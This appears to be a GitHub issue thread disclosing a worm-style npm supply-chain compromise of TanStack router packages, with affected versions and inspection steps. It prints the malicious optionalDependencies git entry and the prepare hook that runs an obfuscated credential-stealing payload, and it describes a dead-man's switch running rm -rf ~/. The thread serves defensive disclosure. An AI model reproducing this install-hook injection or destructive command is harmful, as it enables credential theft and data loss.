Skip to content

Several npm latest releases were compromised #7383

@ashishkurmi

Description

@ashishkurmi

We are actively investigating this security incident and sharing our findings here: www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem

Pinned by schiller-manuel

Activity

carlini

carlini commented on May 12, 2026

@carlini

I believe this report is correct. I've personally verified it on the /history package. I reported this package to NPM directly a few minutes before this issue was raised.

The specific malware fingerprint is whether a published version's package.json contains:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

This will cause npm, on npm install, to resolve the git dependency by fetching the tanstack/router repo at commit 79ac49ee. That commit is an orphan commit pushed to a fork in order to be somewhat hidden. Because npm treats git dependencies as "build from source," it installs that commit's declared dependencies (which include bun) and then runs its prepare lifecycle script:

"scripts": { "prepare": "bun run tanstack_runner.js  && exit 1" }

(The entry is under optionalDependencies and ends in && exit 1 so the install of @tanstack/setup "fails" after the script runs, so npm silently discards it.)

That script executes the ~2.3 MB obfuscated router_init.js file that is smuggled into each affected tarball (at the package root, not listed in the package's "files" array, and not referenced by any other file). Based on decoding the obfuscated string table, it appears to:

  • harvest credentials from common locations: AWS IMDS / Secrets Manager, GCP metadata, Kubernetes service-account tokens, Vault tokens, ~/.npmrc, GitHub tokens, SSH keys
  • exfiltrate over the Session/Oxen messenger file-upload network (filev2.getsession.org, seed{1,2,3}.getsession.org). This is a full E2E-encrypted dead-drop, so there is no attacker-controlled C2 to block
  • enumerate packages the victim maintains (registry.npmjs.org/-/v1/search?text=maintainer:…) and republish them with the same injection

I have confirmed @tanstack/history@1.161.12 contains this fingerprint and the payload file. For the remaining packages I checked only the registry manifest for the optionalDependencies entry, not the full payload. I believe the following are affected (two versions each, published ~19:20 and ~19:26 UTC today; the second is currently latest):

package first bad version second bad version (latest)
@tanstack/history 1.161.9 1.161.12
@tanstack/router-utils 1.161.11 1.161.14
@tanstack/router-core 1.169.5 1.169.8
@tanstack/router-devtools-core 1.167.6 1.167.9
@tanstack/react-router-devtools 1.166.16 1.166.19
@tanstack/router-generator 1.166.45 1.166.48
@tanstack/virtual-file-routes 1.161.10 1.161.13
@tanstack/router-plugin 1.167.38 1.167.41
@tanstack/react-router 1.169.5 1.169.8
@tanstack/router-devtools 1.166.16 1.166.19
@tanstack/react-start 1.167.68 1.167.71
@tanstack/router-cli 1.166.46 1.166.49
@tanstack/router-vite-plugin 1.166.53 1.166.56
@tanstack/solid-router 1.169.5 1.169.8

As of my last check, @tanstack/start, @tanstack/query*, @tanstack/table*, @tanstack/form*, @tanstack/virtual*, and @tanstack/store did not carry the fingerprint.

The _npmUser on the malicious versions shows they were published through the GitHub Actions OIDC trusted-publisher config. That suggests the publish workflow itself is compromised, not just a token; rotating npm tokens alone likely won't stop republication until the workflow/OIDC binding is disabled.

To verify these claims, you can run

npm pack @tanstack/<pkg>@<version>   # does NOT run install scripts
tar -xzf *.tgz
cat package/package.json | grep -A3 optionalDependencies
ls -la package/router_init.js
schiller-manuel

schiller-manuel commented on May 12, 2026

@schiller-manuel
Collaborator

on it

carlini

carlini commented on May 12, 2026

@carlini

Please be careful when revoking tokens. It looks like the payload installs a dead-man's switch at ~/.local/bin/gh-token-monitor.sh as a systemd user service (Linux) / LaunchAgent com.user.gh-token-monitor(macOS). It polls api.github.com/user with the stolen token every 60s, and if the token is revoked (HTTP 40x), it runs rm -rf ~/. (It looks like it might also have a bunch of persistence mechanisms. I haven't studied these closely.)

ahmadnassri

ahmadnassri commented on May 12, 2026

@ahmadnassri

we're tracking 84+ individual @tanstack/* PURLs as well as the worm propagating to 200+ other packages, full list here: https://socket.dev/supply-chain-attacks/mini-shai-hulud

JameEnder

JameEnder commented on May 12, 2026

@JameEnder

Is it possible that the malware somehow ran, yet didn't create any persistance mechanisms (be it the systemd user service, or session start hooks, as described the last comment blog)?

MWGuy

MWGuy commented on May 12, 2026

@MWGuy

My laziness saved me

changed the title [-]Several npm latest releases are potentially compromised[/-] [+]Several npm latest releases are compromised[/+] on May 12, 2026
crutchcorn

crutchcorn commented on May 12, 2026

@crutchcorn
Member

Just popping in to provide a quick update for the community. We have a good understanding of how this attack happened and are working diligently to resolve this full-stop. ~10 maintainers are in a VC at the moment to take every precaution possible.

valtron

valtron commented on May 12, 2026

@valtron

Seems all versions of @tanstack/start-plugin-core were deprecated by accident (instead of just 1.169.{23,26}): https://www.npmjs.com/package/@tanstack/start-plugin-core/v/1.169.20?activeTab=versions

added a commit that references this issue on May 12, 2026
harry-whorlow

harry-whorlow commented on May 12, 2026

@harry-whorlow
Contributor

Thanks @valtron, we're looking to get the unaffected versions back up shortly

79 remaining items

DanielRuf

DanielRuf commented on May 13, 2026

@DanielRuf

@wesleytodd socket, stepsecurity and wiz independently did.

I see no other issue, where it was reported. But for a statement and post mortem this makes no big difference.

changed the title [-]Several npm latest releases are compromised[/-] [+]Several npm latest releases were compromised[/+] on May 14, 2026
unpinned this issue on May 16, 2026
schiller-manuel

schiller-manuel commented on May 16, 2026

@schiller-manuel
Collaborator

closing this as the affected packages were removed and new packages were released after hardening our security.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

      Development

      No branches or pull requests

        Participants

        @roryokane@nicolas17@valtron@ahmadnassri@jonseymour

        Issue actions